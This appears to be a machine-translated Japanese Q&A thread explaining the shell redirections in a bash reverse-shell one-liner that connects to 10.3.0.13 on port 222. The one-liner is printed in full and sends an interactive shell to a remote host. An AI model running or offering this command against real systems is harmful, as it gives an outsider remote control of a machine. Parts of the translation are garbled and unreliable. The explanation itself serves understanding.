0>&1 シェルリダイレクトはどういう意味ですか?

0>&1 シェルリダイレクトはどういう意味ですか?

コマンドを理解しようとしています:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

これは、「bash -i」の STDIN が STDOUT の内容を取得することを意味しますか?

答え1

&> file> file 2>&1自体は、ファイル記述子1に書き込み専用モードで開かれていると同じでありfile、そのファイル記述子1をファイル記述子2に複製して、fd1と2(stdoutとstderr)の両方がそのファイル記述子を指すようにします。ファイルの説明を開く

0>&10<&1(またはと同じ<&1) は、リストに 0 (stdin) を追加します。また、fd 1 を 0 に複製します (fd 0 は、fd 1 が指すのと同じリソースを指すようになります)。

さて、 を実行すると> /dev/tcp/host/portbashこの機能の元となったkshのように)、 を実行する代わりにopen(file, O_WRONLY)bashTCPソケットを作成して に接続しますhost:port。これは書き込み専用リダイレクト、つまり読み取り + 書き込みネットワーク ソケットです。

bash -iしたがって、 TCP ソケットのfd 0、1、2 が完成します。stdinbash -iで読み取ると、ソケットから読み取られるため、反対側にあるものから読み取られ、host:postfd 1 または 2 に書き込むと (またはそこから実行されるコマンド)、そのソケットを介して送信されます。

答え2

一歩ずつ進んでいきましょう。

  1. bash -i: 対話型シェルを開きます
  2. &>: 標準出力とエラーを、ポート222でリッスンしているIP 10.3.0.13に開かれたソケットにリダイレクトします。
  3. 0>&1: 私はこれを 0<&1 と読みます。これは文字通り '0' が '1' に接続されていることを意味し、stdin が stdout に接続されていることを意味します。箇条書き 2 から、この bash プロセスの stdin はポート 222 でリッスンしている攻撃者に利用可能であることがわかります。

答え3

簡単に言うと、このコマンドは対話型の bash シェルを開き、入力を読み取り、その出力とエラーを tcp ソケット経由で ip で指定されたホストに配信します。

詳細: (!!!私は専門家ではないので、一部の説明は正確または明確ではない可能性があります。)

&> /dev/tcp/10.3.0.13/2222つの部分があります。まず:

/dev/tcp/10.3.0.13/222

Bashは、リダイレクトで使用されるいくつかのファイル名を特別に処理します。 /dev/tcp/host/port

host が有効なホスト名またはインターネット アドレスであり、port が整数のポート番号またはサービス名である場合、Bash は対応する TCP ソケットを開こうとします。

2番目:

&>標準出力と標準エラーを同じファイルに送るためのリダイレクト演算子。

つまり、&> /dev/tcp/10.3.0.13/222対応する TCP ソケットを開き、スタンド出力とスタンド エラーをソケットにリダイレクトすることを意味します。

リダイレクトは、実際には、古い記述子と同じオープン ファイル記述子を参照する新しいファイル記述子を割り当てます。

オープン ファイル記述は、システム全体のオープン ファイルのテーブル内のエントリです。オープン ファイル記述には、ファイル オフセットとファイル ステータス フラグが記録されます。ファイル記述子は、オープン ファイル記述への参照です。パス名が後で削除されたり、別のファイルを参照するように変更されたりしても、この参照は影響を受けません。

したがって、実際にはスタンド出力そしてスタンドエラー(実際はファイル記述子です)そしてソケットのファイル記述子今では同じファイルの説明を開くつまり、bash からの出力またはエラーが発生するたびに、これらのデータがソケットに書き込まれ、上記で指定した宛先ホストに送信されます。

0>&1

リダイレクトスタンド入力スタンド出力上記の考え方を用いると、文字通りにはスタンド入力同じことを指すファイルの説明を開くこれは、スタンド出力; これは、スタンドエラーそしてソケットのファイル記述子つまり、このコマンドを実行したホストがTCPソケット、bash はそれを入力として読み取ります。

リダイレクトが実際に何を意味するのかを知らないと、リダイレクトによって何を意味するのか理解するのは非常に困難です。スタンド入力スタンド出力読むという意味ではありませんスタンド出力としてスタンド入力意味が分からないからです。実際にはスタンド入力そしてそのスタンド出力同じことを指すファイルの説明を開く. コマンドは入力を読み取り、その出力を同じファイル (ここではソケット) に配信します。

参考文献:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#リダイレクト 詳しくは、man7.org/linux/man-pages/man2/dup.2.html をご覧ください。

詳しくは、man7.org/linux/man-pages/man2/open.2.html をご覧ください。

詳しくは、man7.org/linux/man-pages/man2/socket.2.html をご覧ください。

関連情報